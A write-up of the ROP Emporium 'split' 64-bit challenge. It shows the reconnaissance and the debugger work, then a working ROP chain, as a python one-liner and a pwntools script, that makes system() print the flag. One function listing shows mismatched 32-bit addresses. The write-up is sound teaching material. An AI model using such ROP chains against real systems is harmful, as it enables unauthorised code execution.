ROP Emporium - split (64 bit)
Lets check the file type of the binary using file
command,
ra@moni:~/split$ file split
split: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=98755e64e1d0c1bff48fccae1dca9ee9e3c609e2, not stripped
It is a 64 bit not stripped
binary, so we can view symbols in it
Lets check the security mitigations of this binary,
ra@moni:~/split$ checksec split
[*] '/home/ra/split/split'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Here NX bit
is set, so that we cannot perform execution in stack
To bypass NX/ASLR
security mitigations, we have to use ROP Techniques
There are some useful strings in the binary, which might acts as argument for system()
,
ra@moni:~/split$ strings split | grep bin
/bin/ls
/bin/cat flag.txt
Lets check their addresses using rabin2
,
ra@moni:~/split$ rabin2 -z split
[Strings]
nth paddr vaddr len size section type string
-------------------------------------------------------
0 0x000007e8 0x004007e8 21 22 .rodata ascii split by ROP Emporium
1 0x000007fe 0x004007fe 7 8 .rodata ascii x86_64\n
2 0x00000806 0x00400806 8 9 .rodata ascii \nExiting
3 0x00000810 0x00400810 43 44 .rodata ascii Contriving a reason to ask user for data...
4 0x0000083f 0x0040083f 10 11 .rodata ascii Thank you!
5 0x0000084a 0x0040084a 7 8 .rodata ascii /bin/ls
0 0x00001060 0x00601060 17 18 .data ascii /bin/cat flag.txt
It is noted that /bin/cat flag.txt
is inside global variable named usefulString
at 0x00601060
pwndbg> x/s 0x00601060
0x601060 <usefulString>: "/bin/cat flag.txt"
Listing functions from the binary,
pwndbg> info functions
...
0x08048546 main
0x080485ad pwnme
0x0804860c usefulFunction
...
Here, main()
is used to call pwnme()
which is the normal flow of the program
But usefulFunction()
seems unusual
Disassembling usefulFunction()
,
pwndbg> disassemble usefulFunction
Dump of assembler code for function usefulFunction:
0x0000000000400742 <+0>: push rbp
0x0000000000400743 <+1>: mov rbp,rsp
0x0000000000400746 <+4>: mov edi,0x40084a
0x000000000040074b <+9>: call 0x400560 <system@plt>
0x0000000000400750 <+14>: nop
0x0000000000400751 <+15>: pop rbp
0x0000000000400752 <+16>: ret
End of assembler dump.
pwndbg> x/s 0x40084a
0x40084a: "/bin/ls"
So this function just lists the files from the current directory using system()
with the argument of /bin/ls
This function may not be suitable for our ROP Attack
But we can use our own value to pass this program, copying the data from stack into register
This is a simple ret2libc attack
In usefulFunction
, the files are listed by
0x0000000000400746 <+4>: mov edi,0x40084a #"/bin/ls"
0x000000000040074b <+9>: call 0x400560 <system@plt>
In 64 bit the first argument always get stored in RDI
Now we are going to change our code execution like,
pop rdi ; ret ---> args ---> system()
Lets find the ROP gadgets of rdi
,
ra@moni:~/split$ ROPgadget --binary split | grep "pop rdi"
0x00000000004007c3 : pop rdi ; ret
Our pop rdi ; ret
is a part of __libc_csu_init
pwndbg> x/3i 0x00000000004007c3
0x4007c3 <__libc_csu_init+99>: pop rdi
0x4007c4 <__libc_csu_init+100>: ret
0x4007c5: nop
Now lets find our buffer space,
pwndbg> b *0x0000000000400735
Breakpoint 1 at 0x400735
pwndbg> r
Starting program: /home/ra/split/split
split by ROP Emporium
x86_64
Contriving a reason to ask user for data...
> AAAABBBBCCCCDDDD
Breakpoint 1, 0x0000000000400735 in pwnme ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────
RAX 0x11
RBX 0x400760 (__libc_csu_init) ◂— push r15
RCX 0x7ffff7ece142 (read+18) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0x60
RDI 0x0
RSI 0x7fffffffe030 ◂— 'AAAABBBBCCCCDDDD\n'
R8 0x2
R9 0x2
R10 0xfffffffffffff27a
R11 0x246
R12 0x4005b0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe150 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe050 —▸ 0x7fffffffe060 ◂— 0x0
RSP 0x7fffffffe030 ◂— 'AAAABBBBCCCCDDDD\n'
RIP 0x400735 (pwnme+77) ◂— mov edi, 0x40083f
─────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────
► 0x400735 <pwnme+77> mov edi, 0x40083f
0x40073a <pwnme+82> call puts@plt <puts@plt>
0x40073f <pwnme+87> nop
0x400740 <pwnme+88> leave
0x400741 <pwnme+89> ret
0x400742 <usefulFunction> push rbp
0x400743 <usefulFunction+1> mov rbp, rsp
0x400746 <usefulFunction+4> mov edi, 0x40084a
0x40074b <usefulFunction+9> call system@plt <system@plt>
0x400750 <usefulFunction+14> nop
0x400751 <usefulFunction+15> pop rbp
─────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────
00:0000│ rsi rsp 0x7fffffffe030 ◂— 'AAAABBBBCCCCDDDD\n'
01:0008│ 0x7fffffffe038 ◂— 'CCCCDDDD\n'
02:0010│ 0x7fffffffe040 ◂— 0xa /* '\n' */
03:0018│ 0x7fffffffe048 ◂— 0x0
04:0020│ rbp 0x7fffffffe050 —▸ 0x7fffffffe060 ◂— 0x0
05:0028│ 0x7fffffffe058 —▸ 0x4006d7 (main+64) ◂— mov edi, 0x400806
06:0030│ 0x7fffffffe060 ◂— 0x0
07:0038│ 0x7fffffffe068 —▸ 0x7ffff7de40b3 (__libc_start_main+243) ◂— mov edi, eax
───────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────
► f 0 0x400735 pwnme+77
f 1 0x4006d7 main+64
f 2 0x7ffff7de40b3 __libc_start_main+243
────────────────────────────────────────────────────────────────────────────────────────────────────
Lets view the base pointer and stack values,
pwndbg> x/2wx $rbp
0x7fffffffe050: 0xffffe060 0x00007fff
pwndbg> x/30wx $rsp
0x7fffffffe030: 0x41414141 0x42424242 0x43434343 0x44444444
0x7fffffffe040: 0x0000000a 0x00000000 0x00000000 0x00000000
0x7fffffffe050: 0xffffe060 0x00007fff 0x004006d7 0x00000000
0x7fffffffe060: 0x00000000 0x00000000 0xf7de40b3 0x00007fff
0x7fffffffe070: 0xf7ffc620 0x00007fff 0xffffe158 0x00007fff
0x7fffffffe080: 0x00000000 0x00000001 0x00400697 0x00000000
0x7fffffffe090: 0x00400760 0x00000000 0x476a4495 0x0e66cfe5
0x7fffffffe0a0: 0x004005b0 0x00000000
So our base pointer is at 0x7fffffffe050
and our buffer begins at 0x7fffffffe030
>>> print(0x7fffffffe050-0x7fffffffe030)
32
The buffer space is 32 bytes
Now we have to pass 40 bytes
(32+8) of junk to reach Instruction Pointer
Our payload can be crafted as,
payload = 40 bytes of junk + Addr of POP RDI gadget + Addr of argument + Call Addr of system()
Address of POP RDI gadget = 0x00000000004007c3
Address of argument data (/bin/cat flag.txt) = 0x00601060
Address of call inst to system() = 0x000000000040074b
Lets try our exploit,
ra@moni:~/split$ python2 -c "print('A'*40+'\xc3\x07\x40\x00\x00\x00\x00\x00'+'\x60\x10\x60\x00\x00\x00\x00\x00'+'\x4b\x07\x40\x00\x00\x00\x00\x00')" | ./split
split by ROP Emporium
x86_64
Contriving a reason to ask user for data...
> Thank you!
ROPE{a_placeholder_32byte_flag!}
Segmentation fault (core dumped)
Lets try our exploit from pwntools
,
ra@moni:~/split$ cat exploit.py
from pwn import *
cat=p64(0x601060)
call_system=p64(0x40074b)
rdi=p64(0x00000000004007c3)
buff=""
buff+='A'*40
buff+=rdi
buff+=cat
buff+=call_system
print(buff)
ra@moni:~/split$ python2 exploit.py | ./split
split by ROP Emporium
x86_64
Contriving a reason to ask user for data...
> Thank you!
ROPE{a_placeholder_32byte_flag!}
Segmentation fault (core dumped)
Done! we have completed split (64 bit)